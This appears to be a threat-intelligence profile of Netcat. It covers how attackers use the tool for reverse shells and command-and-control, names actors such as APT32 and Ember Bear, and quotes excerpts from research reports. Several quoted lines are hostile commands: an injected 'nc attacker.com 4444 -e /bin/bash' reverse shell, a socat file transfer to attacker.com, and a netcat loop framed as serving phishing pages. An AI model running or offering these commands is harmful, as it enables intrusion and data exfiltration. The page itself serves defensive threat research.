Netcat is a legitimate, dual-use command-line networking utility for reading and writing data over network connections. Threat actors frequently abuse it to establish reverse shells, provide interactive command execution on compromised systems, and support command-and-control communications. It is not inherently malware or a tool exclusive to any threat group.
Malicious deployments commonly occur after attackers exploit internet-facing applications or gain access through web shells. Netcat reverse shells have been observed following exploitation of Apache ActiveMQ and WebLogic servers, and the utility has also been deployed in attacks against HTTP File Server installations, Windows IIS servers, Linux-based network appliances, and embedded cameras. Attackers use the resulting shell access to control compromised hosts and install additional software, including remote-administration tools. Some campaigns distribute a Netcat-based reverse-shell component through trojanized utilities advertised as game cheats, office software, or cryptocurrency trading bots.
Observed users include APT32, Ember Bear, and z0Miner. APT32 has disguised Netcat as a Windows update, while other attackers have renamed it to resemble legitimate Windows components. Ember Bear uses Netcat among its socket-based tunneling utilities for command and control. Netcat also appears alongside cryptocurrency miners and other post-exploitation tools; its presence does not itself establish cryptocurrency mining, credential theft, persistence, or data exfiltration.
6 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
5 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Threat actors possibly tied to Sandworm are chaining the two flaws to first download a Netcat-based reverse shell and proxy tool on vulnerable FMC systems.
This threat actor downloaded Netcat as userinit.exe and executed it.
UAT-11823 deployed a Netcat reverse shell through a malicious license.tmp file executed by package_info.pl.
...Netcat... may have been used by the attackers as well.
Ember Bear uses socket-based tunneling utilities for command and control purposes such as NetCat and Go Simple Tunnel (GOST).
23 distinct techniques documented for this family, organized by ATT&CK tactic.
Banner Grabbing: Forces the server to cough up its headers so you can see exactly what software is hiding behind the curtain. printf "GET / HTTP/1.0 \r \n \r \n " | nc - v < target > 80
Annex B lists Obtain Capabilities: Tool.
“Connecting rogue hardware devices directly into retail store networks as a means to establish direct footholds.”
The Web Server MacGyver — Need to serve a phishing page or a quick tool without spinning up Apache? while true ; do { echo -e ‘HTTP/1.1 200 OK\r\n’; cat index.html; } | nc -l -p 8080; done
“We built a container image with netcat installed, deployed it as an AgentCore Runtime, and connected back with a reverse shell.”
The malicious payload (SSCE5532.dll) was executed via the command prompt... Next, a password-protected RAR archive is downloaded from a distribution server and unpacked... c:\windows\system32\cmd.exe /C ... rar.exe x ...
Reverse shells en mémoire : Named pipe via Netcat, redirections TCP Bash, subprocesses Python
"In May 2024, a remote code execution vulnerability (CVE-2024-23692) in HFS was announced. Using this, the threat actor can send packets containing commands to HFS and have it execute malicious commands."
actors used the following command to rename one of their tools to a benign file name: ren "%temp%\upload" audiodg.exe ... APT1 ... used ... AcroRD32.exe ... as a name for malware ... APT28 ... changed extensions on files containing exfiltrated data to make them appear benign ... APT32 has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update.
Its simplicity masks a surprising versatility: it can copy files, tunnel traffic, relay ports, scan networks, and sometimes even replace more complex post-exploitation tools.
The Play binary was submitted to VirusTotal as part of an archive... containing various hack tools and utilities–including AnyDesk, NetCat...
paramiko.SSHClient.connect('45.79.187.72', username='root', pkey=key, timeout=10)
Once attackers achieve execution, they must move their toolkit across the environment. Several native protocols were validated for tool transfer (T1570).
"RAT malware such as Gh0stRAT and PlugX... as well as Cobalt Strike and Netcat can be found."
Its simplicity masks a surprising versatility: it can copy files, tunnel traffic, relay ports, scan networks, and sometimes even replace more complex post-exploitation tools.
T1095 — Non-Application Layer Protocol (Command and Control) ; redirections TCP Bash
The content shows transferring data with "socat -u file:/path/to/input-file tcp-connect:attacker.com:12345" and receiving it with netcat or socat listeners.
We also found that they established a reverse shell connection ... using the command-line tool, NetCat.
Adversaries frequently configure tools like netcat, Meterpreter, or other backdoors to listen or connect over uncommon ports such as 4444, 2222, or 51820 to bypass standard monitoring and firewall rules.
On the victim’s computer, I coded a Python script that will perform the following tasks: - Read a file - Split it in chunks of 3KB - Send everything to a TCP connection... The file has been successfully exfiltrated!
Finally, the stage 4 payload executes the reverse shell script located at /data/data/com.termux/_rev.sh , establishing a root reverse shell connection.
For example, an attacker could append ; nc attacker.com 4444 -e /bin/bash to gain a reverse shell, or use similar payloads for data exfiltration or system manipulation.
PostgreSQL sys_eval and Netcat pipeline streaming SSL private keys to 62.171.185.97:8888; Wget POST requests sending system metadata and credentials to the C2.
6 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
21 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.